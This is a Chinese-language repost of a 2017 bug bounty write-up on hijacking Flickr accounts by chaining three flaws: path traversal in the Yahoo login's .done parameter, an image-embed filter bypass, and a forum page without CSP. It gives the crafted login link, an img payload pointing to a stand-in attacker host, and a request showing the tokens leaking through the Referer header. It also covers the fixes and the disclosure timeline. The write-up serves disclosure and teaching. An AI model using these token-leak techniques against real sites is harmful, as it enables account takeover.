看我如何综合利用3个安全问题成功劫持Flickr账户获得7千美元漏洞赏金

admin

Flickr（ flickr.com）为雅虎Yahoo旗下图片和视频分享平台，提供免费及付费数位照片视频储存、分享和线上社交应用服务。本文中作者通过身份认证参数控制、外部链接重定向和图片处理绕过3个安全问题的综合利用，最终成功实现劫持Flickr的目标账户权限。我们一起来看看：

在Flickr的用户登录验证过程中，将会向login.yahoo.com发起一个获取用户访问令牌（access token）的请求。

Flickr.com的登录认证机制

当用户点击Flickr.com的登录按钮之后，将会转向到以下Url链接：

1. https://login.yahoo.com/config/login?.src=flickrsignin&.pc=8190&.scrumb=0&.pd=c%3DH6T9XcS72e4mRnW3NpTAiU8ZkA--&.intl=il&.lang=en&mg=1&.done=https%3A%2F%2Flogin.yahoo.com%2Fconfig%2Fvalidate%3F.src%3Dflickrsignin%26.pc%3D8190%26.scrumb%3D0%26.pd%3Dc%253DJvVF95K62e6PzdPu7MBv2V8-%26.intl%3Dil%26.done%3Dhttps%253A%252F%252Fwww.flickr.com%252Fsignin%252Fyahoo%252F%253Fredir%253Dhttps%25253A%25252F%25252Fwww.flickr.com%25252F

复制代码

该链接也是雅虎用户的登录认证页面，当完成登录表单填写和点击登录之后，用户将首先转向一个雅虎身份验证终端服务，如果验证信息有效，用户将转向以下Flickr Url页面：

1. https://www.flickr.com/signin/yahoo/?redir=https%3A%2F%2Fwww.flickr.com%2F&.data={first-token-value}&.ys={second-token-value}

复制代码

与此同时，Flickr在后台开始对雅虎验证服务和用户登录产生的.ys和.data参数进行认证。

窃取Flickr.com用户登录令牌信息
思路分析

也就是说，如果用户已经处于雅虎服务端登录状态，那么点击以下初始链接之后：

1. https://login.yahoo.com/config/login?.src=flickrsignin&.pc=8190&.scrumb=0&.pd=c%3DH6T9XcS72e4mRnW3NpTAiU8ZkA--&.intl=il&.lang=en&mg=1&.done=https%3A%2F%2Flogin.yahoo.com%2Fconfig%2Fvalidate%3F.src%3Dflickrsignin%26.pc%3D8190%26.scrumb%3D0%26.pd%3Dc%253DJvVF95K62e6PzdPu7MBv2V8-%26.intl%3Dil%26.done%3Dhttps%253A%252F%252Fwww.flickr.com%252Fsignin%252Fyahoo%252F%253Fredir%253Dhttps%25253A%25252F%25252Fwww.flickr.com%25252F

复制代码

数据流量只是发生在后台，而不需要往雅虎端输入身份验证信息，而这也就带来了账户被劫持的风险。因为事实上用户只需点击类似OAuth实现的单个链接实现身份认证。想通了这些之后，我尝试着想办法绕过该认证机制。

首先，我想到的是该链接中的第二个.done参数：

1. .done%3Dhttps%253A%252F%252Fwww.flickr.com%252Fsignin%252Fyahoo%252F%253Fredir%253Dhttps%25253A%25252F%25252Fwww.flickr.com%25252F

复制代码

可以被控制，该参数实际负责的是登录令牌信息的发送。在此过程中，雅虎服务器只会对https://www.flickr.com/signin/yahoo/发起的登录请求进行验证，但我们可以向该链接中添加../符号进行测试，当向其中添加../../test请求.done值时，其.ys和.data参数令牌将被发送到https://www.flickr.com/test服务端。

所以，在此一种想法就油然而生，如果我们能从https://www.flickr.com/网站找到一个开放重定向（Open redirect）的突破口， 就能把认证令牌信息间接发送到我们自己架构的服务器端来。

漏洞挖掘

经过一番研究之后，我发现了该页面：

1. https://www.flickr.com/html.gne?tighten=0&type=comment

复制代码

它可以在不同Flickr页面的评论区中实现图片嵌入。我想如果通过这里向评论区中上传一个外部链接图片，其令牌信息就可以通过已经登录的引用字段（referrer field）泄露到我自己架构的服务器端来。为此，我用以下内容作为上传图片进行评论测试：

1. <img src=”https://attacker.com/someimage.jpg” />

复制代码

该图片的确被嵌入到Flickr评论区，但是，雅虎却把其src值转义解析为以下链接：

1. https://ec.yimg.com/ec?url=https://attacker.com/someimage.jpg&t=1491136241&sig=FGQiNHDOtEj7LQDBbYBnwA–~C

复制代码

这种转义应该是雅虎的一种内部请求代理在发生作用，它可以阻止向外部服务器泄露Flickr的请求信息。但是，如果使用一些浏览器攻击的奇技淫巧，是不是就能操控其Flickr的图片处理逻辑呢？比如，发送形如以下的图片评论内容：

1. <img src=”\/\/www.attacker.com/someimage.jpg” />

复制代码

但遗憾的是，其内部请求代理不会转义处理该链接，其src值还是保持原样，并且Flickr评论区也不会把其显示为图片。经过研究，发现这是因为Flickr使用了网页内容安全防护策略（CSP，Content Security Policy），限定了来自以下域名的链接才是有效链接：

1. Content-Security-Policy:  img-src data: blob: https://*.flickr.com https://*.flickr.net http://*.flickr.net https://*.staticflickr.com http://*.staticflickr.com https://*.yimg.com https://*.yahoo.com https://*.cedexis.com https://*.cedexis-test.com https://*.cedexis-radar.net https://sb.scorecardresearch.com https://image.maps.api.here.com https://csync.yahooapis.com https://*.paypal.com https://*.pinterest.com http://*.static-alpha.flickr.com https://geo-um.btrll.com https://connect.facebook.net https://*.facebook.com https://bs.serving-sys.com https://*.adserver.yahoo.com https://*.maps.api.here.com https://*.maps.cit.api.here.com https://*.ads.yahoo.com https://secure.footprint.net;

复制代码

其img-src配置中的设定了白名单域名，因此，最终上传显示外部链接图片的目的失败了。

在了解了这些之后，我尝试着寻找其它允许评论的终端页面，发现Flickr其中一个论坛页面：

1. https://www.flickr.com/help/forum/en-us/

复制代码

不但允许评论，貌似还没有配置CSP策略。因此，我在该论坛的某个话题之下加入了以下图片样式的评论内容：

1. <img src=”\/\/www.attacker.com/someimage.jpg” />

复制代码

奏效了，其外部链接图片被嵌入到了这里：

1. https://www.flickr.com/help/forum/en-us/72157668446997150/page14/

复制代码

所以，接下来我要做的就是构造形如以下的最终利用链接：

1. https://login.yahoo.com/config/validate?.src=flickrsignin&.pc=8190&.scrumb=cLI6NPLejY6&.scrumb2=GszxN7PzUWX&.pd=c%3DJvVF95K62e6PzdPu7MBv2V8-&.intl=il&.done=https%3A%2F%2Fwww.flickr.com%2Fsignin%2Fyahoo%2F..%2F..%2Fhelp%2Fforum%2Fen-us%2F72157668446997150%2Fpage14%2F

复制代码

当用户点击了该链接之后，将会被重定向到：

1. https://www.flickr.com/help/forum/en-us/72157668446997150/page14?data={some-token}&.ys={second-token}

复制代码

同时，用户浏览器将发出以下请求：

1. GET https://www.attacker.com/someimage.jpg HTTP/1.1
   
2. Host: www.attacker.com
   
3. Connection: keep-alive
   
4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
   
5. Accept: image/webp,image/*,*/*;q=0.8
   
6. Referer: https://www.flickr.com/help/forum/en-us/72157668446997150/page14/?.data={some-token}&.ys={second-token}
   
7. Accept-Encoding: gzip, deflate, sdch, br
   
8. Accept-Language: he-IL,he;q=0.8,en-US;q=0.6,en;q=0.4,es;q=0.2

复制代码

在其中的引用字段（Referer field）可以发现，用来进行身份验证的令牌信息会被发送给攻击者架构的域名服务器。所以，攻击者只需要做的就是，在他的浏览器中访问以下链接就能以受害者账户身份，悄无声息地登录进入网站！！

1. https://www.flickr.com/signin/yahoo/?.data={copied from referer}&.ys={copied from referer}

复制代码

漏洞修补方法

漏洞上报给雅虎之后，他们采取了以下措施进行修补：

1. 1 限制login.yahoo.com服务页面中的.done参数，只允许接收来自https://www.flickr.com/signin/yahoo/的有效值；
   
2. 
   
3. 2 在图片嵌入处理逻辑中，禁止使用“/\/\”绕过方式；
   
4. 
   
5. 3 在Flickr论坛中采用CSP策略。

复制代码

漏洞上报进程

2017.4.2  通过Hackerone进行漏洞初报

2017.4.3  漏洞评估分类

2017.4.21 获得Yahoo方面7000$美元漏洞赏金奖励

from:http://www.freebuf.com/articles/web/133848.html